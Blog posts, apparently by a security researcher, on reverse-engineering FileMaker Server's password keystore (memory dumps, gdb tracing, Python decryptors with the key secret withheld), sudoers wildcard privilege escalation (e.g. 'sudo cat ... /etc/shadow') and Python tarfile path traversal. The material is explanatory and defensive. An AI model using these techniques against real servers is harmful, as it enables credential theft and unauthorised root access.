Another good test to verify this is to encrypt two EAR passwords which have the same first 16 bytes. For example:

File 1: AAAAAAAAAAAAAAAA|AAAAAAAAAAAAAAAAAAAAAAAA
File 2: AAAAAAAAAAAAAAAA|A
 ^ 16 bytes

On my test server these two produce the following two ciphertexts:

b442h3lSslgZ66HAwoSO7+jm1Xcw0O7DSmRlW9bkRrj7EUeRYaj8K6VEsLWSYh8x
b442h3lSslgZ66HAwoSO78+E2b55R4CaKGiFSnwfUeQ=

Or as hex:

00000000: 6f8e 3687 7952 b258 19eb a1c0 c284 8eef o.6.yR.X........
00000010: e8e6 d577 30d0 eec3 4a64 655b d6e4 46b8 ...w0...Jde[..F.
00000020: fb11 4791 61a8 fc2b a544 b0b5 9262 1f31 ..G.a..+.D...b.1

00000000: 6f8e 3687 7952 b258 19eb a1c0 c284 8eef o.6.yR.X........
00000010: cf84 d9be 7947 809a 2868 854a 7c1f 51e4 ....yG..(h.J|.Q.

You can clearly see that the first 16 bytes are exactly the same (just like the 16 bytes of the plaintext).

Normally, you would not want your ciphertext to “leak” semantic information as shown and this is something that could certainly be improved.

If you were to encrypt every block of data with the same key, identical blocks of plaintext would produce identical blocks of ciphertexts. One strategy to prevent this is to let the results of each block influence the next block (so-called “cipher-block chaining”). Here, each plaintext block is XORed with the previous ciphertext block (and subsequently encrypted).

To kickstart this process, however, you need an additional input for the first block, and this is where the initialization vector comes in. It will be used to XOR the first plaintext.

If you were to experiment more, you would see that cipher-block chaining is indeed used for the FMS keystore values, but with an initialization vector of all zeros. This way you still output the same ciphertext blocks for identical plaintext blocks at the beginning.

If you like to test this for yourself you can play around with openssl. For example:
openssl enc -aes-256-cbc -in test.txt -k <some-key-as-hex> -iv 00000000000000000000000000000000 -out test.enc.

Just read the docs

Whenever you have documentation available, make sure to read it. It might give you pointers on how to narrow down the space of things to try next.

Claris’ documentation has a statement on how passwords are stored:

When you open an encrypted file on FileMaker Server or FileMaker Cloud, you can save the password to automatically open encrypted files when the server restarts. FileMaker employs a two-way AES-256 encryption that uses a composite key based on information from the machine to encrypt the password and stores the password securely on the server.

(Unfortunately, as we will learn later, this is not entirely correct, so it’s also a good idea to second-guess/verify official information).

What do we know so far?

Let’s recap on what we learned so far by just observing data and reading the docs:

The keystore contains keys and values separated by semicolon
Keys are just base64 encoded. Values are encrypted and base64 encoded
We’re dealing with a block cipher (takes a fixed size block and outputs a block of the same size)
The docs mention AES with 256-bit key
A static (or no) initialization vector is used
A static key is used
The key is unique per installation and file IDs/properties don’t play a role here

A lazy try: just dump the memory

After looking at the data and the docs my first attempt was to test if some or all of the information of the keystore can be retrieved in unencrypted form from memory. It’s unlikely we learn anything about how data is encrypted but we can check if the server cleans up secrets after use. Also, grepping through a memory dump is not a lot of effort, so you might as well give it a shot (which is why I labeled this “a lazy try”).

My test server is running on Linux and I’m using procdump (the Linux version of the original Windows SysInternals tool).

Let’s first figure out the process ID of fmserverd with pgrep fmserverd and then dump the memory with procdump <pid>. The result is a dump with more than a gigabyte of size.

Since we know the plaintext values that the server encrypted, we can grep for these strings in the dump file.

$ strings fmserverd_time_2023-... | grep 'some EAR password'

No luck (which is a good thing, as you don’t want your secrets explosed like this). But what about the RSA private key that we expect to be the value of the key machinePrivateKey?

$ strings fmserverd_time_2023-04-23_14\:37\:25.1001 | grep 'BEGIN RSA PRIVATE' -A10

-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEA27LEJB8uCqezntbENVPdrV/xTnnshR2fQPWFNr3Rcr10tjBa
...

Turns out the private key is hanging out in unencrypted form in memory. Let’s check if it matches the public key file CStore/machinePublicKey.

A quick way to do this is to extract the public key from the discovered private key and then compare it to the machinePublicKey file.

openssl rsa -in machinePrivateKey.key -pubout > machinePublicKey.extracted

This gives us a public key which – by looking at it – doesn’t match the one from the FileMaker Server installation. However, this is just because it’s not in PKCS#1 format like the original one. We can convert it and see that it’s a match now:

openssl rsa -pubin -in machinePublicKey.extracted -RSAPublicKey_out -out machinePublicKey.extracted.pkcs1

What now?

If we only wanted to know the RSA private key, we would have succeeded by now. But even if we would also have gotten our other secrets in plaintext, it would not really help us as we still don’t understand how the values are encrypted, wouldn’t know what to search for when not knowing the plaintext, and don’t understand the memory structure.

So what could be the next step? Since we are anyhow dealing with memory dumps, maybe we can find the actual AES key used to encrypt the keystore values in memory?

Extracting AES keys from memory

How could we possibly find what 16 or 32 bytes are an AES key when getting handed a dump of more than gigabyte of seemingly random data?

When we put a key into AES, the key is actually expanded into so-called round keys (11 rounds for 128-bit keys, 15 for 256-bit keys). These round keys are needed for the encryption/decryption process and might thus be hanging around in memory. By checking the memory for random-looking (i.e. high entropy) byte sequences using a sliding window of the size of the so-called key schedule (all the roundkeys), it is possible to get a list of potential keys.

Here’s a good video explaining the key expansion and here’s an article describing in more detail what options are available to extract keys from memory dumps.

Since it’s kind of a long shot anyway, I didn’t spend too much time in this phase and just ran two forensic tools over the dump. One was bulk_extractor and the other aeskeyfind.

Using the tools is straight-forward. For example: bulk_extractor -E aes my_dump -o extraction_output.

While the tools found some potential AES-128-bit keys, none of them were matching or weren’t even keys at all. They could have also been from the encryption/decryption routines that go on when the server encrypts/decrypts individual pages of the opened hosted databases.

I tried once more to dump the memory multiple times during FMS startup with a lot of encrypted files being opened (which would require keystore values being decrypted) and also during repeated opening/closing of a file in a loop, but it obviously didn’t produce any detectable keys in the dumps.

Getting the key so seemlessly by running a tool would have been nice in a way, but I’m also kind of reliefed that it wasn’t that easy :-)

Looking at what the program is doing and extracting the key

Since the “lazier” attempts didn’t result in any new insights, let’s actually try to observe what the program (fmserverd) is doing.

We obviously don’t have any source code, but as the program runs on our computer, we can attach a debugger and inspect the behavior, see loaded libraries, disassemble parts of it and step through the interesting bits.

I used gdb on Linux and lldb on macOS. Please note, that on macOS you will need to disable System Integrity Protection (or remove the program’s code signature) to attach to a running process.

On our Linux server, we can start by attaching with gdb -p <pid> and on macOS with lldb -p <pid>. Luckily, the binaries are not stripped of symbols, so we can see function names and of course the exports of the libraries.

Let’s first have a look at loaded libraries of a running server instance on Linux:

(gdb) info sharedlibrary
From To Syms Read Shared Object Library
0x00007f5dea393a40 0x00007f5dea3f89af Yes (*) /lib/x86_64-linux-gnu/libc++.so.1
0x00007f5dea32e450 0x00007f5dea348ef0 Yes (*) /lib/x86_64-linux-gnu/libc++abi.so.1
0x00007f5de9a21ed0 0x00007f5dea09341d Yes /opt/FileMaker/lib/libFMSLib.so
0x00007f5de8f48560 0x00007f5de959d1f9 Yes /opt/FileMaker/lib/libFMEngine.so
0x00007f5de6e0fb60 0x00007f5de83bdf00 Yes /opt/FileMaker/lib/libDBEngine.so
0x00007f5de61fea20 0x00007f5de63496b9 Yes /opt/FileMaker/lib/libSupport.so
...

Most interesting to us are the non-standard libaries located in /opt/FileMaker/lib and of course the actual fmserverd binary.

The binaries come with some symbol information, so we can try to make sense of any of the contained function names.

Below I’m using objdump to dump the symbol table and demangle the names (we want human-readable names), and pipe the result to less to easily scroll through and search in the result.

objdump -tC <some binary> | less

Symbol information allows for much easier debugging, also when you don’t have the source code available (even if explicit debug symbols would not be available). I assume the binaries are intentially not stripped (i.e. contain symbols) in the release versions such that it’s possible to troubleshoot/debug weird behaviors on deployed systems (although, I guess, you could still keep them separate from the binary and then strip all unneeded in the relase version)

If you like to see what is included in a binary and what not, you can write a small C program, compile it with gcc and once include the -g flag, once not include the -g flag and then run strip over another compiled version. For each of the three versions, you can then run the above objdump command and see the difference.

Fun fact: I later found out that I could have retrieved much more information just by inspecting all the provided symbol information, so I believe I made it a bit harder for myself and that you can arrive at the end result faster than I describe here.

Since we are interested in the keystore, we can search for names that could be related. Such terms could be keystore, EAR, crypt, password, AES, etc.

As an example, let’s say we searched for “Password” and have identified the following symbol in libSupport:

00000000000f9a50 g F .text 0000000000000005 Draco::PasswordHash::ComputePasswordHashRawBytes(char const*, unsigned int, unsigned char const*, unsigned int, int, int, unsigned char*)`.

Since we still have our debugger attached, we can have a look at this function from within gdb:

(gdb) info address Draco::PasswordHash::ComputePasswordHashRawBytes
Symbol "Draco::PasswordHash::ComputePasswordHashRawBytes(char const*, unsigned int, unsigned char const*, unsigned int, int, int, unsigned char*)" is a function at address 0x7f5de6220a50.

If we disassemble this function we see it’s just a jump to PKCS5_PBKDF2_HMAC_SHA1.

(gdb) disas 0x7f5de6220a50
Dump of assembler code for function Draco::PasswordHash::ComputePasswordHashRawBytes(char const*, unsigned int, unsigned char const*, unsigned int, int, int, unsigned char*):
 0x00007f5de6220a50 <+0>: jmpq 0x7f5de61fdab0 <PKCS5_PBKDF2_HMAC_SHA1@plt>
End of assembler dump.

And what PKCS5_PBKDF2_HMAC_SHA1 is doing, we can just look up in the openssl manual.

We still don’t know if this function is at all related to what we want to find out (there’s a lot of crypto stuff in FileMaker Server), but we can start taking notes and piece together information.

Not every function will be as short and understandable as the above and you will either need to read a lot of assembly code or could try to figure things out using a decompiled version of the function of interest (for example with Ghidra’s decompiler). For where we want to get to, we don’t really need a decompiler and can just skim the assembly code, so we will mostly just stay in gdb.

Once we have few ideas and an overview of interesting functions that could be related to the keystore, we can set breakpoints, continue running the program and then perform an action that we want to observe. I always used the opening of a hosted file (fmsadmin open <file>) as this must read the keystore file and decrypt the EAR password.

Eventually, I arrived at Draco::Encrypt_AES_decrypt which is called by Draco::KeyStorageProvider::CryptData (both in the Support lib) and is responsible for the decryption of the keystore values. Let’s see what we can learn when setting a breakpoint at this function (still in the attached debugger):

(gdb) b Draco::Encrypt_AES_decrypt
Breakpoint 1 at 0x7f5de61f8a40 (2 locations)
(gdb) c
Continuing.

With the breakpoint set, we can now open a file that has an EAR password stored in the keystore. As soon as the open command is sent, the program hits the breakpoint and stops:

Thread 49 "fmserverd" hit Breakpoint 1, 0x00007f5de61f8a40 in Draco::Encrypt_AES_decrypt(unsigned char*, int, unsigned char const*, int, unsigned int&, unsigned char const*)@plt ()
 from /opt/FileMaker/lib/libSupport.so

Since we see the @plt at the end, we need to execute one more jmp into the actual function with si (step one instruction).

@plt stands for “procedure linkage table” and is essentially a way to point to a library function which address cannot be known in the linking stage but only dynamically be resolved at run time (as far as I understand it).

Now that we are in the actual implemented function, let’s have a look what arguments are passed to it.

To do this we first check the CPU registers:

(gdb) info registers
rax 0x7f5dbf8f6078 140040622530680
rbx 0x7f5dbf8f5af4 140040622529268
rcx 0x20 32
rdx 0x7f5dd863d6c0 140041039107776
rsi 0x30 48
rdi 0x7f5dd80e0e90 140041033485968
rbp 0x7f5dbf8f5ff0 0x7f5dbf8f5ff0
rsp 0x7f5dbf8f5ed8 0x7f5dbf8f5ed8
r8 0x7f5dbf8f5f80 140040622530432
r9 0x0 0
r10 0x7f5dd8105b9c 140041033636764
r11 0x7f5dbf8f5cc8 140040622529736
r12 0x1 1
r13 0x3e5 997
r14 0x7f5dbf8f6040 140040622530624
r15 0x7f5dbf8f5fb0 140040622530480
rip 0x7f5de62217f0 0x7f5de62217f0 <Draco::Encrypt_AES_decrypt(unsigned char*, int, unsigned char const*, int, unsigned int&, unsigned char const*)>

Based on x86-64 calling conventions, we know how and in what registers functions receive their arguments from their caller (see “A.2 AMD64 Linux Kernel Conventions” in AMD64 System V Application Binary Interface).

Quoted from the linked document:

User-level applications use as integer registers for passing the sequence %rdi, %rsi, %rdx, %rcx, %r8 and %r9.

We don’t have any parameter names but we do know the signature of our discovered function (unsigned char*, int, unsigned char const*, int, unsigned int&, unsigned char const*). So let’s map the arguments:

rdi: A pointer to 0x7f5dd80e0e90
rsi: An integer with value 48
rdx: A pointer to 0x7f5dd863d6c0
rcx: An integer with value 32
r8: A pointer to 0x7f5dbf8f5f80
r9: Null

Since we only have 6 parameters, we don’t need to look at the stack for more.

Now let’s inspect the addresses in more detail.

We assume that the second and fourth parameter indicates the size of the previous parameter, as this is quite common.

Checking 48 byes from address 0x7f5dd80e0e90 (rdi):

(gdb) x/48xb 0x7f5dd80e0e90
0x7f5dd80e0e90: 0x6f 0x8e 0x36 0x87 0x79 0x52 0xb2 0x58
0x7f5dd80e0e98: 0x19 0xeb 0xa1 0xc0 0xc2 0x84 0x8e 0xef
0x7f5dd80e0ea0: 0xe8 0xe6 0xd5 0x77 0x30 0xd0 0xee 0xc3
0x7f5dd80e0ea8: 0x4a 0x64 0x65 0x5b 0xd6 0xe4 0x46 0xb8
0x7f5dd80e0eb0: 0xfb 0x11 0x47 0x91 0x61 0xa8 0xfc 0x2b
0x7f5dd80e0eb8: 0xa5 0x44 0xb0 0xb5 0x92 0x62 0x1f 0x31

If we compare this to our encrypted EAR password that we looked at earlier, it comes out as the same sequence of bytes:

$ echo -n 'b442h3lSslgZ66HAwoSO7+jm1Xcw0O7DSmRlW9bkRrj7EUeRYaj8K6VEsLWSYh8x' | base64 -d | xxd
00000000: 6f8e 3687 7952 b258 19eb a1c0 c284 8eef o.6.yR.X........
00000010: e8e6 d577 30d0 eec3 4a64 655b d6e4 46b8 ...w0...Jde[..F.
00000020: fb11 4791 61a8 fc2b a544 b0b5 9262 1f31 ..G.a..+.D...b.1

We can be pretty sure that this argument is the ciphertext from the keystore.

What about 0x7f5dd863d6c0 (rdx)? Let check 32 bytes from there:

(gdb) x/32xb 0x7f5dd863d6c0
0x7f5dd863d6c0: 0xa5 0x10 0xc9 0xf2 0x24 0xde 0x97 0x1b
0x7f5dd863d6c8: 0x45 0x95 0x82 0xae 0xec 0x5b 0xc8 0x84
0x7f5dd863d6d0: 0x9c 0x9f 0xb1 0xa0 0x4c 0xe4 0xba 0x27
0x7f5dd863d6d8: 0x31 0x0d 0x03 0xf0 0xef 0x67 0xc6 0x27

Since we are expecting a 256-bit key, this could be it.

Now we have the values of r8 and r9 left. We don’t know about the first, but the latter is 0 (0x00).

Since we expect AES to be used in CBC mode without an initialization vector (IV), maybe this could be the “null IV”!?

We already have potentially useful information here, but let’s check what Encrypt_AES_decrypt is actually doing and if we can get any further hints.

To do this, we can disassemble the function right from GDB:

Dump of assembler code for function Draco::Encrypt_AES_decrypt(unsigned char*, int, unsigned char const*, int, unsigned int&, unsigned char const*):
=> 0x00007f5de62217f0 <+0>: push %rbp
 ...
 0x00007f5de6221855 <+101>: mov %rax,%rbx
 0x00007f5de6221858 <+104>: callq 0x7f5de61f9bf0 <EVP_aes_128_cbc@plt>
 ...
 0x00007f5de622186b <+123>: callq 0x7f5de61f8d00 <EVP_DecryptInit_ex@plt>
 ...
 0x00007f5de6221881 <+145>: callq 0x7f5de61fd870 <EVP_DecryptUpdate@plt>
 ...
 0x00007f5de62218a4 <+180>: callq 0x7f5de61fc980 <EVP_DecryptFinal_ex@plt>

I removed some instructions above to only show the interesting calls. GDB resolves the addresses and shows us calls to OpenSSL functions, for example EVP_aes_128_cbc.

We could look up the details and source code for these functions as they are publicly known.

While not a big deal, it’s a bit of a surprise to see EVP_aes_128_cbc as we were expecting EVP_aes_256_cbc as that would match what is written in Claris’ documentation.

For now, we just set another breakpoint at the first and second call, (gdb) b EVP_aes_128_cbc and (gdb) b EVP_DecryptInit_ex, and then continue running the program (c).

At this stage we just want to verify that the function is actually called (we could have also read and understand all the disassembled instructions instead).

Both breakpoints hit. And in the second one, we can actually verify our assumptions from above as we know the parameters names and their meaning for the decryption intialization function from the OpenSSL documentation.

This means we have learned so far:

AES is used in CBC mode
We have a 256 bit key, but are using EVP_aes_128_cbc and thus only use the first half of the key (probably a bug)
We know the IV is set to all zeros (16 bytes, like the block size)

Building our own decryptor

It’s time to test if the data we discovered can actually be used to independently decrypt the keystore values.

Let’s build a small Python script and re-implement what we discovered. I’m using PyCryptodome for the crypto routines.

import base64
from Cryptodome.Cipher import AES
from Cryptodome.Util.Padding import unpad


def decrypt(key, iv, ciphertext):
 decoded_ciphertext = base64.b64decode(ciphertext)

 cipher = AES.new(key, AES.MODE_CBC, iv=iv)
 plaintext = cipher.decrypt(decoded_ciphertext)

 return unpad(plaintext, 16)


def main():
 ciphertext = b'b442h3l<snip>'
 key = bytes.fromhex('a510c<snip>')
 iv = 16 * b'\x00'

 plaintext = decrypt(key[:16], iv, ciphertext)
 print(f'plaintext: {plaintext.decode()}')


if __name__ == '__main__':
 main()

Starting in main, the ciphertext is our base64-encoded string from the keystore, the key is the key we discovered via the debugging process (unique per server), and iv is just 16 null bytes (16 bytes being the block size). From the 32 byte key we only pass byte 0 to 15 to have a 128-bit key.

In the decrypt function, we first base64-decode the ciphertext, then initialize the cipher with the passed values and CBC mode.

Lastly, we decrypt the ciphertext and return the plaintext (unpadded, to remove the padding at the end that completes a full block).

Running the script successfully reveals the plaintext value (in this case the EAR password we decided to store before).

While we now have everything we need to decrypt other values on our server, our main goal was to better understand how the keystore works. And we still don’t know how the key we found was derived – it cannot be a hardcoded key, as it’s different from server to server. Let’s dig in more.

Figuring out how the key is derived

Above we saw that Encrypt_AES_decrypt already gets the key passed to it and that it is called by Draco::KeyStorageProvider::CryptData.

We can look at the CryptData function from within gdb:

(gdb) disas 'Draco::KeyStorageProvider::CryptData'

This function is certainly more involved with lots of conditional jmps and calls.

Let’s first demangle the function names to make it bit easier to browse through:

(gdb) set print asm-demangle on

Disassembling the function again and just looking at the symbols before our Encrypt_AES_decrypt and Encrypt_AES_encrypt calls, we see two names that stick out:

0x00007f77a60ec76c <+508>: callq 0x7f77a60431d0 <Draco::Machine::GetPersistentID()@plt>
...
0x00007f77a60ec947 <+983>: callq 0x7f77a603f120 <Draco::PasswordHash::ComputePasswordHashRawBytes(char const*, unsigned int, unsigned char const*, unsigned int, int, int, unsigned char*)@plt>

From the Claris documentation, we know that “FileMaker […] uses a composite key based on information from the machine to encrypt the password and stores the password securely on the server.”.

Since we know the Get(PersistentID) function from FileMaker Pro’s calculation environment returns a unique identifier for the current machine it is running on, we can assume that Draco::Machine::GetPersistentID() function does something similar or the same.

At the same time, we can assume that this ID goes into the “composite key based on information from the machine”.

While we can also make an assumption what the ComputePasswordHashRawBytes is doing, based on the name, we will go through the same debugging procedure as with the Encrypt_AES_decrypt function above to get more insights.

Let’s set a breakpoint, continue with the program and then close/open our sample database file again:

(gdb) b Draco::PasswordHash::ComputePasswordHashRawBytes
Breakpoint 1 at 0x7f77a603f120 (2 locations)
(gdb) c
Continuing.

Thread 49 "fmserverd" hit Breakpoint 1, 0x00007f77a603f120 in Draco::PasswordHash::ComputePasswordHashRawBytes(char const*, unsigned int, unsigned char const*, unsigned int, int, int, unsigned char*)@plt () from /opt/FileMaker/lib/libSupport.so
(gdb) disas
Dump of assembler code for function _ZN5Draco12PasswordHash27ComputePasswordHashRawBytesEPKcjPKhjiiPh@plt:
=> 0x00007f77a603f120 <+0>: jmpq *0x2b076a(%rip) # 0x7f77a62ef890 <Draco::PasswordHash::ComputePasswordHashRawBytes(char const*, unsigned int, unsigned char const*, unsigned int, int, int, unsigned char*)@got.plt>
 0x00007f77a603f126 <+6>: pushq $0x10f
 0x00007f77a603f12b <+11>: jmpq 0x7f77a603e020
End of assembler dump.

We step again into the actual function and then have a look at the arguments being passed. We know the signature, so let’s map the register values:

(char const*, unsigned int, unsigned char const*, unsigned int, int, int, unsigned char*)

rdi: 0x7f778c01a5c0
rsi: 0x10 (or 16 in decimal)
rdx: 0x7f779c250f70
rcx: 0x08 (8)
r8: 0x3e5 (997)
r9: 0x20 (32)

The seventh argument is passed on the stack, so let’s look at the value on the stack after the return address (stack pointer is in $rsp and we skip the first 8 bytes):

(gdb) x/xg $rsp+8
0x7f779c250ed0: 0x00007f779c250f00

Let’s take a look what values can be found at the addresses pointed to by the first, third and seventh argument:

The first argument is 16 bytes in length, but is certainly not an ascii string (look at it with x/16xb 0x7f778c01a5c0).

The third argument can indeed be interpreted as a string and points to fmserver (if we spent more time looking at CryptData we learn that this string and the 997 are the username/id acquired via getpwuid).

The seventh argument contains data we don’t understand yet and might very well just be the address where the result goes.

Let’s disassemble the body of the function now:

(gdb) disas
Dump of assembler code for function Draco::PasswordHash::ComputePasswordHashRawBytes(char const*, unsigned int, unsigned char const*, unsigned int, int, int, unsigned char*):
=> 0x00007f77a6066a50 <+0>: jmpq 0x7f77a6043ab0 <PKCS5_PBKDF2_HMAC_SHA1@plt>
End of assembler dump.

We can see that the program is calling OpenSSL’s PKCS5_PBKDF2_HMAC_SHA1.

Looking at the documentation, we know what each argument is and can now also make sense of the arguments we deciphered above:

int PKCS5_PBKDF2_HMAC_SHA1(const char *pass, int passlen,
 const unsigned char *salt, int saltlen, int iter,
 int keylen, unsigned char *out);

The password is the 16 bytes at 0x7f778c01a5c0, the salt is fmserver, the iterations are 997 and the key length is 32.

PBKDF2 is a common key derivation function, which is used here to create the key for decrypting the keystore value.

PBKDF2 stands for Password-Based Key Derivation Function 2. It takes a pseudorandom function (such as HMAC-SHA1, as we see above), a password, a salt, a key length and an iteration count. In short, it computes a hash from the salt and a block iteration count, using the given password as key. In the first iteration, it builds another hash using the password as key and the previous hash result as message. These two hashes are then XORd. What follows is a loop of creating a new hash from the previous hash, XORing it again with the previous XOR result, and so on. This is done for the number of iterations specified (here 997) and for each necessary block of the hash length to reach the length of the desired key (here 2 as the hash output of SHA-1 is 20 bytes, but we request a 32 byte key) . For more details see the Key derivation process explained on Wikipedia.

A few additional things to note: 1) the mentioned hash is not just a SHA-1 hash but an invocation of HMAC. Thus, we’re running SHA-1 twice to come up with our hashes in each iteration. 2) The salt being used here is certainly not random (the default fmserver username) and the iteration count is rather low and also likely to be the same or in a close range for every machine (being the user ID). Since the “password” is already a hash created from a unique identifier (see later in this article), though, this might be less problematic. I assume that this was done like this to easily “break” the key once any of the variables on the system change, which would force a user to re-enter the EAR password.

Given the information we got so far, we should be able to reproduce the key (even though, we still don’t know how that password is created).

Back in Python, we can do:

import binascii
from Cryptodome.Protocol.KDF import PBKDF2
from Cryptodome.Hash import SHA1

salt = 'fmserver'
count = 997
password = bytes.fromhex('<the value at 0x7f778c01a5c0>')
key = PBKDF2(password, salt, 32, count=count, hmac_hash_module=SHA1)

print(binascii.hexlify(key))

Running the script, we can now generate the same key that we have discovered above. Cool, one step further!

Figuring out how the password is created

The last piece of information we need is how the password which is being passed to PBKDF2 is created .

Since the password which we discovered was 16 bytes long and we earlier saw a call to GetPersistentID (which, if equivalent to the Get(PersistentID) function, also returns 16 bytes sequences), we could assume that the password we saw was just said machine identifier.

If we compute the persistent ID of the server (for example via Perform Script on Server[]), however, we realize that the value doesn’t match – either because they are indeed different implementations or because the password is just created differently.

To understand how the server arrives at the previously detected password, we can continue in two ways. Either we step through the instructions of Draco::KeyStorageProvider::CryptData (which calls the previously analysed ComputePasswordHashRawBytes) or we go a couple of steps back and check again, if we can find other interesting symbols now that we have learned a bit more and know the KeyStorageProvider class is involved.

For the latter strategy Draco::KeyStorageProvider::GetInstance() seems like a good starting point.

Setting a breakpoint and entering the function, we see the following:

(gdb) disas
Dump of assembler code for function Draco::KeyStorageProvider::GetInstance():
 0x00007f3ef752b4c0 <+0>: push %rbx
 0x00007f3ef752b4c1 <+1>: mov 0x20b3c9(%rip),%al # 0x7f3ef7736890 <_ZGVZN5Draco18KeyStorageProvider11GetInstanceEvE8instance>
 0x00007f3ef752b4c7 <+7>: test %al,%al
 0x00007f3ef752b4c9 <+9>: je 0x7f3ef752b4d4 <Draco::KeyStorageProvider::GetInstance()+20>
 0x00007f3ef752b4cb <+11>: lea 0x20b2ae(%rip),%rax # 0x7f3ef7736780 <_ZZN5Draco18KeyStorageProvider11GetInstanceEvE8instance>
 0x00007f3ef752b4d2 <+18>: pop %rbx
=> 0x00007f3ef752b4d3 <+19>: retq

We have a test right at the beginning, meaning we likely return early, if the KeyStorageProvider has already been instantiated. However, once we’re in this function, we can also look at what’s in memory.

We can see that the previously discovered password a04d.. is already set here, so we might need to find where we initialize the provider for the first time (and thus where the password is being created).

As mentioned in the beginning of the article, I’ll brush over some details here to not make a “point-and-shoot” decryption script available, but leave this as an exercise for the reader.

What you have to look for is the initialization function for the KeyStorageProvider (which is executed during first start of the server) and another function that derives the password.

In it you will find that an MD5 context is built, which then gets fed the machine’s persistent ID and another secret (you know it when you see it). Eventually, a 16-byte MD5 checksum is created, which matches the password we saw earlier.

Having found this final part, we can now re-create the key and decrypt keystore values. The following Python script shows how you could do it in a program, leaving a few details out for the reasons mentioned above:

import hashlib
import base64
from Cryptodome.Cipher import AES
from Cryptodome.Util.Padding import unpad
from Cryptodome.Protocol.KDF import PBKDF2
from Cryptodome.Hash import SHA1


def decrypt(key, iv, ciphertext):
 decoded_ciphertext = base64.b64decode(ciphertext)

 cipher = AES.new(key, AES.MODE_CBC, iv=iv)
 plaintext = cipher.decrypt(decoded_ciphertext)

 return unpad(plaintext, 16)


def derive_key():
 secret = b'' # the full secret string discovered in the last part

 password = hashlib.md5(secret).digest()

 count = 997 # uid
 salt = 'fmserver' # username

 return PBKDF2(password, salt, 16, count=count, hmac_hash_module=SHA1)


def main():
 ciphertext = b'' # base64-encoded ciphertext from keystore

 key = derive_key()
 iv = 16 * b'\x00' # null IV

 plaintext = decrypt(key, iv, ciphertext)
 print(f'plaintext: {plaintext.decode()}')


if __name__ == '__main__':
 main()

How about macOS?

So far we’ve been working with a default Linux installation. To come to the same conclusion on macOS, you can use lldb instead of gdb.

To attach lldb to a running process, you will have to disable macOS’ System Integrity Protection or remove the code signature first, though.

The discovery process is more or less the same, although the syntax for lldb is a bit different.

After looking into it, I can tell you that the encryption/decryption process is the same, as is expected.

Naturally, on macOS the username and user id that go into the key derivation could be different. For a default installation the full name of the user is “fmserver User”. For the derivation this string is concatenated to the actual username “fmserver”.

You can find out the full user info with the following command (change fmserver for the username you run FMS under):

dscacheutil -q user | grep 'name: fmserver' -A6

How about Windows?

I only had a brief look at Windows. It seems that the encryption/decryption process works a bit different here.

I haven’t spent much time looking into this and wanted to write up my findings first. Maybe I’ll look into it in the future.

Conclusion

I hope this post was helpful to you learning how FileMaker Server handles the secrets you decide to store on the machine.

As we saw it’s not unfeasable to recover the plaintexts. While this is expected and “by design” as the server needs to do the same, you can now judge how easy or hard it is.

I reported some things that could be improved or might be a bug to Claris and hope the keystore will be improved as a result.

The decision for or against storing the EAR passwords really depends on your use-case. If uptime is very important and you need your databases to auto-open after a reboot, there’s no way around to storing them on disk (and I don’t think that’s an unreasonable decision – I have setups where I do the same).

You may also look into restricting access to the keystore file, i.e. remove permissions for other (it seems the only user/group accessing it should be, by default, fmserver and fmsadmin).

Generally, with enough time and patience you will (at least theoretically) always get to some of the data if you have root access to the live server and the databases are opened. Having the original EAR password stored and the keystore file readable by everyone just makes it much easier.

Updates:

2023-05-31: Corrected the macOS section to include that you can remove the code signature instead of disabling SIP. Thanks, Alex.

Beware of wilcards paths in sudo commands

Fri, 24 Feb 2023 00:00:00 +0000

Say you want to allow a non-root user on Linux to execute a couple of scripts as root or another user with more privileges. A common way of doing this is to make an entry in the sudoers file.

If the scripts are written in Python, it could look something like this:

johndoe ALL=(ALL) /usr/bin/python3 /opt/utils/*.py

Essentially, this means that the user johndoe can execute /usr/bin/python3 /opt/utils/*.py on any machine (ALL) as any user ((ALL)).

If the scripts in /opt/utils/ are not writable for johndoe and there is no way for him to create new files in that directory, this looks okay at first.

What could go wrong?

The problem, though, is that if johndoe can write anywhere else (which is always the case), he can easily get a root shell (or do literally anything else) due to the wildcard character in the path argument to python3.

For example via a simple path traversal:

sudo /usr/bin/python3 /opt/utils/../../home/johndoe/gotcha.py

* matches any character (including whitespace, as we see further below), so a user is free to modify the path as desired.

So while the wildcard sounds like an easy way to solve the initial problem, it is always better to be explicit about what a user can do (either by putting a restricting regular expression in place or – even better – always explicitly targeting a file or declaring a static argument), for example by listing all the full commands with the different arguments that are allowed to be executed or by building a small wrapper program.

Not a problem specific to interpreted scripts

This is not solely a problem related to executing scripts with an interpreter (like the above example) but applies in general.

The sudo documentation presents another example using cat:

%operator ALL = /bin/cat /var/log/messages*

Here, users in the operator group are supposed to cat only messages files. But simply adding a second argument using whitespace (which is covered by *) would allow them to read any file:

sudo cat /var/log/messages /etc/shadow

The suggested safer alternative from the documentation is:

%operator ALL = /bin/cat ^/var/log/messages[^[:space:]]*$

This works fine when your path points to a file (which is expected when targeting /var/log/messages). If messages were a directory and not a file, you would have the same issue as above, though.

Conclusion: always be explicit in your sudoers file about what you want to allow.

Python tarfile directory traversal

Fri, 23 Sep 2022 00:00:00 +0000

Currently, there’s a lot of hype around the behavior of Python’s tarfile module for extracting archives. In short: tarfile will not sanitize filenames in archives to prevent directory traversal attacks. For example, creating an archive and adding a file with a leading ../ will make the extract* methods create that file in a directory above the current one. This way (or by using an absolute path starting with /), a file can be written to an arbitrary location (given that the user executing the code has the according write privileges).

In 2007 this behavior was filed under CVE-2007-4559. It didn’t lead to a patch of the library, but instead the documentation was updated to include:

Warning: Never extract archives from untrusted sources without prior inspection. It is possible that files are created outside of path, e.g. members that have absolute filenames starting with "/" or filenames with two dots "..".

After the article Exploiting the World With a 15-Year-Old Vulnerability and Trellix Launches Advanced Research Center, Finds Estimated 350K Open-Source Projects at Risk to Supply Chain Vulnerability by Trellix this behavior is now on everybody’s radar again.

How does it work?

The behavior is fairly easy to demonstrate.

First, create a demo file (test.txt). Then, create an archive with that file but specify an adjusted name to be used in the archive (../test.txt):

import tarfile

with open('test.txt', 'w') as f:
 f.write('Hello')

with tarfile.open('my_archive.tar', 'w:xz') as tar:
 tar.add('test.txt', arcname='../test.txt')

Next, give that file to a Python application that extracts tar files, for example:

import tarfile

with tarfile.open("my_archive.tar") as tar:
 tar.extractall()

Running the application will extract test.txt into the directory above the current directory. By adjusting the path in arcname you can essentially place the file anywhere you want, given you are allowed to write there. Overwriting critical system files, writing executables, etc. is, of course, all potentially possible.

Is it a vulnerability and is every extract use immediately vulnerable?

